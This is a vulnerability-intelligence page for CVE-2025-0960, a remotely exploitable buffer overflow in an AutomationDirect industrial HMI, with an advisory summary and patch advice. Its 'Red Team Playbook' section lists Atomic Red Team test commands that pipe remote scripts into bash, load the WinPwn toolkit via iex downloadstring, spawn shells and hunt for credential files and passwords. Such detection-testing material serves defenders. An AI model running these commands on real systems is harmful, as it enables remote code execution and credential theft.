CVE-2025-0960
Overview
The vulnerability is a classic buffer overflow (CWE-120) caused by insufficient bounds checking within a specific function of the AutomationDirect C-more EA9 HMI EA9-T6CL device. The affected component improperly validates input sizes, allowing the function’s boundary checks to be bypassed. This flaw resides in the device’s input handling mechanism, enabling memory corruption through crafted inputs.
Vulnerability Description
AutomationDirect C-more EA9 HMI contains a function with bounds checks that can be skipped, which could result in an attacker abusing the function to cause a denial-of-service condition or achieving remote code execution on the affected device.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to cause a denial-of-service by crashing the device or achieve remote code execution, gaining control over the affected HMI. This allows manipulation of industrial control processes or disruption of operations. The attack requires no user interaction and benefits from low attack complexity (CVSS vector AV:N/AC:L/PR:N/UI:N). Successful exploitation can lead to critical operational impacts including unauthorized command execution and system downtime.
Solution
AutomationDirect has released a security advisory (ICSA-25-035-08) detailing the vulnerability and providing firmware updates for the C-more EA9 HMI EA9-T6CL. Users should apply the latest firmware patch available on the AutomationDirect cybersecurity advisory page to remediate the buffer overflow. The advisory and patch instructions are accessible at https://community.automationdirect.com/s/cybersecurity/security-advisories and https://www.cisa.gov/news-events/ics-advisories/icsa-25-035-08. No workarounds are specified; timely patching is strongly recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the AutomationDirect C-more EA9 Human-Machine Interface (HMI) is characterized by inadequate bounds checking within a critical function. This flaw allows an attacker to bypass the intended limits of the function, leading to potential exploitation. Specifically, the absence of proper validation mechanisms can result in a denial-of-service (DoS) condition or, more severely, enable remote code execution on the affected device. Such a scenario poses significant risks, as it allows unauthorized users to manipulate the device's operations, potentially compromising the integrity and availability of the system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage network access to send specially crafted inputs to the HMI, triggering the flawed function. By carefully manipulating the input data, the attacker can bypass the bounds checks, leading to unexpected behavior in the system. In a more sophisticated attack, an adversary could exploit this vulnerability to execute arbitrary code, gaining control over the device and potentially expanding their reach within the network. This could lead to further attacks on connected systems, creating a cascading effect that compromises the entire operational environment.
The real-world impact of this vulnerability is profound, particularly in industrial settings where the C-more EA9 HMI is employed. A successful attack could result in significant downtime, disrupting critical processes and leading to financial losses. Furthermore, if an attacker gains remote code execution capabilities, they could manipulate operational parameters, potentially endangering personnel and equipment. The business risks extend beyond immediate financial implications; they also encompass reputational damage, regulatory penalties, and the potential for legal liability stemming from compromised safety protocols.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular software updates and patches from the vendor should be prioritized to ensure that any known vulnerabilities are addressed promptly. Additionally, network segmentation can limit the exposure of critical devices to potential attackers, reducing the risk of exploitation. Intrusion detection systems (IDS) can also be employed to monitor for unusual activity that may indicate an attempted attack. Furthermore, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited.
In conclusion, the vulnerability in the AutomationDirect C-more EA9 HMI represents a significant threat to industrial control systems. The potential for denial-of-service conditions and remote code execution underscores the need for robust security measures. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Implementing proactive detection and mitigation strategies will be essential in safeguarding critical infrastructure and maintaining operational integrity in the face of evolving cyber threats.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-0960 |
| cisa.gov |
GitHub CVE
|
https://www.cisa.gov/news-events/ics-advisories/icsa-25-035-08 |
| community.automationdirect.com |
GitHub CVE
|
https://community.automationdirect.com/s/cybersecurity/security-advisories |